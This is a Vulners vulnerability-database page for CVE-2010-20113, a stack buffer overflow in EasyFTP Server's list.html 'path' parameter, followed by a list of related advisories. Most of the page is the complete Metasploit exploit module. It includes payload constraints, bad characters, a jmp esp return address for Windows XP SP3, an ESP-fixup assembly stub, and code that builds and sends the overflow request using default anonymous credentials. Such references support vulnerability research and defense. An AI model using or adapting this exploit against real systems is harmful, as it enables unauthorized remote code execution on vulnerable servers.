Lucene search
+L

EasyFTP Server list.html path Stack Buffer Overflow

🗓️ 18 Feb 2010 00:00:00Reported by ThE g0bL!N, jduck <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 25 Views

EasyFTP Server stack buffer overflow via 'path' parameter in HTTP GET reques

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2010-20113
21 Aug 202520:10
–attackerkb
circl
Circl
CVE-2010-20113
29 May 201815:50
–circl
cnnvd
CNNVD
EasyFTP 安全漏洞
21 Aug 202500:00
–cnnvd
cve
CVE
CVE-2010-20113
21 Aug 202520:10
–cve
cvelist
Cvelist
CVE-2010-20113 EasyFTP Server list.html path Stack Buffer Overflow
21 Aug 202520:10
–cvelist
euvd
EUVD
EUVD-2010-5311
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2010-20113
21 Aug 202521:15
–nvd
ptsecurity
Positive Technologies
PT-2025-34307 · Uplusftp +1 · Uplusftp +1
21 Aug 202500:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2010-20113: Stack-based Buffer Overflow
21 Aug 202500:00
–rapid7
redhatcve
RedhatCVE
CVE-2010-20113
23 Aug 202520:13
–redhatcve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  HttpFingerprint = { :pattern => [ /Easy-Web Server\// ] }

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'EasyFTP Server list.html path Stack Buffer Overflow',
        'Description' => %q{
          This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11
          and earlier. EasyFTP fails to check input size when parsing the 'path' parameter
          supplied to an HTTP GET request, which leads to a stack based buffer overflow.
          EasyFTP allows anonymous access by default; valid credentials are typically
          unnecessary to exploit this vulnerability.

          After version 1.7.0.12, this package was renamed "UplusFtp".

          Due to limited space, as well as difficulties using an egghunter, the use of
          staged, ORD, and/or shell payloads is recommended.
        },
        'Author' => [
          'ThE g0bL!N', # Original exploit [see References]
          'jduck' # Metasploit re-implementation
        ],
        'References' => [
          [ 'CVE', '2010-20113' ],
          [ 'OSVDB', '66614'],
          [ 'EDB', '11500' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Privileged' => true,
        'Payload' => {
          'Space' => 256,
          'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x23\x25\x26\x2b\x2f\x3b\x3f\x5c",
          'Compat' =>
            {
              'ConnectionType' => '+ws2ord',
            },
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'Windows XP SP3 - Easy FTP Server Universal',
            # NOTE: It's not possible to use addresses within the
            # binary due to the nul byte.
            {
              'Ret' => 0x7cc5d507 # jmp esp in shell32.dll
              # 'Ret'      => 0xdeadbeef
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2010-02-18',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('HttpUsername', [true, 'The HTTP username to specify for basic authentication', 'anonymous']),
        OptString.new('HttpPassword', [true, 'The HTTP password to specify for basic authentication', '[email protected]'])
      ]
    )
  end

  def check
    info = http_fingerprint # check method
    if info and (info =~ /Easy\-Web Server\//)
      return Exploit::CheckCode::Detected('Target service detected')
    end

    Exploit::CheckCode::Safe('Target is not vulnerable')
  end

  def exploit
    if (payload.encoded.length > payload_space)
      fail_with(Failure::Unknown, "Insufficient space for payload, try using a staged, ORD and/or shell payload.")
    end

    # Fix up ESP, jmp to the beginning of the buffer
    stub_asm = %q{
      mov edi, esp
      add esp, 0xfffffc04
      add edi, 0xfffffee8
      jmp edi
    }
    stub = Metasm::Shellcode.assemble(Metasm::Ia32.new, stub_asm).encode_string

    # Build the path up
    path = ''
    path << payload.encoded
    path << rand_text(268 - path.length)
    # NOTE: It's possible to overwrite SEH, however SafeSEH is in effect.
    path << [target.ret].pack('V')
    path << rand_text(280 - path.length)
    path << stub
    path << rand_text(332 - path.length)

    uri = "/list.html?path="
    uri << path

    print_status("Trying target #{target.name}...")
    res = send_request_raw({ 'uri' => uri }, 5)

    if (res)
      print_error("The server unexpectedly responded, this is not good.")
      print_status(res.to_s)
    end

    handler
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation